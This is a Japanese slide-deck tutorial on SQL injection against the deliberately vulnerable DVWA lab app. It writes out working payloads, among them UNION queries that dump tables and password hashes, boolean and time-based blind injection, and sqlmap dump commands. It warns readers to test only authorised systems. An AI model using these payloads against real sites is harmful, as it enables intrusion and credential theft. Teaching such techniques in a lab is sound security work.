猫でもわかるかもしれない sqlインジェクション
TRANSCRIPT
Security TopicSQL injection について
猫でもわかる
Let's SQL injection
DVWA with Docker で SQL injection を試すhttp://www.dvwa.co.uk/
DVWA とは脆弱性を持ったWebアプリ(PHP + MySQL)MAMPやDockerで簡単に動かせるDocker image : https://hub.docker.com/r/originalsix/docker-dvwa/
Use this
SQL injection : Level 1
Easy SQL InjectionLevel 1
Default word : いつもの
SELECT first_name, last_name FROM usersWHERE user_id = '' OR 1 --
Level 1
すべての⾏を表⽰させるいつものやつ
UNION
SELECT first_name, last_name FROM usersWHERE user_id = '' OR 1UNION ( SELECT 1, 2 ) --
result[0] = 1result[1] = 2
Level 1
UNIONで出⼒結果を追加してみる
UNION
SELECT first_name, last_name FROM usersWHERE user_id = ''UNION ( SELECT 1, 2 ) --
result[0] = 1result[1] = 2
Level 1
UNIONで出⼒結果を追加してみる
FROM information_schema.columns
SELECT first_name, last_name FROM usersWHERE user_id = '' UNION SELECT table_name, GROUP_CONCAT(column_name) FROM information_schema.columnsGROUP BY table_name --
table_name : userscolumn_name : name, user_id, avatar, password, user, last_name
※ information_schema.columns : 管理情報をもつtableGROUP_CONCAT : 複数の要素をまとめる
Level 1
テーブル⼀覧とそのカラムを表⽰する
Get password FROM users
first_name : adminpassword: 5f4dcc3b5aa765d61d8327deb882cf99
decode with john復号ツールで解読したり...
SELECT first_name, last_name FROM usersWHERE user_id = '' UNION SELECT CONCAT(first_name, last_name), passwordFROM users --
Level 1
さっきの情報を元にpasswordを出⼒
Get password FROM users
first_name : adminpassword: 5f4dcc3b5aa765d61d8327deb882cf99
Level 1
出た!(ハッシュ値は別途復号ツールで復号する)
SQL injection : Level 2
Blind SQL Injection
出⼒結果が⾒れない
Level 2
Default word : いつもの
出⼒結果が⾒れない
出⼒の有無だけわかる
Level 2
Default word : いつもの
出⼒結果が⾒れない
admin(id=1) の password をGETしてみる[前提] passwordというカラムを知っているとする(知る⽅法は後述)
出⼒の有無だけわかる
Level 2
Blind SQL Injection
SELECT first_name, last_name FROM usersWHERE user_id = '1' AND SUBSTR(password,1,1) = "0" --
Level 2
passwordの1⽂字⽬から1⽂字⽬は"0"か?
-> false
Blind SQL Injection
SELECT first_name, last_name FROM usersWHERE user_id = '1' AND SUBSTR(password,1,1) = "5" --
Level 2
passwordの1⽂字⽬から1⽂字⽬は"5"か?
-> true
Blind SQL Injection
SELECT first_name, last_name FROM usersWHERE user_id = '1' AND SUBSTR(password,1,1) = "5" --
Level 2
passwordの1⽂字⽬から1⽂字⽬は"5"か?
-> true
Blind SQL Injection
shell script等サクッと実装しよう!
SQL injection : Level 2++
Blind SQL Injection(Time-base)
出⼒結果が⾒れないしSQLの成否もわからない
Level 2
Insert⽂が使⽤されている時など(DVWAにはないです)
Blind SQL Injection(Time-base)
SELECT first_name, last_name FROM usersWHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0",
sleep(5), sleep(0))--
Level 2
passwordの1⽂字⽬から1⽂字⽬は"0"か?即レスポンス -> false
Blind SQL Injection(Time-base)
SELECT first_name, last_name FROM usersWHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0",
sleep(5), sleep(0))--
Level 2
passwordの1⽂字⽬から1⽂字⽬は"0"か?5秒後レスポンス-> true
Blind SQL Injection(Time-base)
SELECT first_name, last_name FROM usersWHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0",
sleep(5), sleep(0))--
Level 2
passwordの1⽂字⽬から1⽂字⽬は"0"か?5秒後レスポンス-> true
Blind SQL Injection(Time-base)
shell script等サクッと実装しよう!(コピペ)
どうやってテーブル名を取得する?• 勘 (users, passwordくらいなら...)• information_schema.columnsのn⾏⽬のtable_nameを総当り
SELECT first_name, last_name FROM usersWHERE user_id = '' ORSUBSTR((SELECT table_name
FROM information_schema.columnsLIMIT 10, 1),1,1) = "u" --
LIMIT⽂ : 結果の10番⽬から1⾏出⼒する= そのテーブルの1⽂字⽬は"u"か?(usersが何番⽬に出⼒されるかわからない(厳しい))
Automatic SQL injection
sqlmapでこれらの攻撃を⾃動で⾏える!(つよい)
sqlmap
-o :3スレッド並列処理-T :テーブルを指定--tables :table⼀覧を取得--dump :tableデータをダンプする
sqlmap --tablessqlmap -o -u "[targetUrl]" --cookie="[session]" --tables
table⼀覧を取得
sqlmap --dumpsqlmap -o -u "[targetUrl]" --cookie="[session]" --dump
userテーブルが⾒れた
sqlmap --prefix"--prefix" や "--postfix"で簡単なSQL injection対策も突破
$input_escaped = str_replace(" ' "," ' ",$user_input);
'(シングルクォート)を ' に置き換える -> 「' AND ~~~」が使えない!
1. prefixで を指定2. 「 ' AND ~~~」 (バックスラッシュ)が特殊⽂字化して ' が使えるようになった!
Notes
SQLインジェクションは管理化もしくは管理者から許可されたサーバにのみ⾏いましょう
(参照 : 不正アクセス禁⽌法 etc...)
DockerやVMなどで作った環境で試すのがオススメ
Appendix(SQL injection Task)• sharifCTF 7
http://ctf.sharif.edu/ctf7 [Poor Guy, Irish Home]• ksnCTF
http://ksnctf.sweetduet.info/problem/6 [6:login]
• Seccon2016https://score-quals.seccon.jp/question/ [basiq]
• Cheat Sheethttps://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/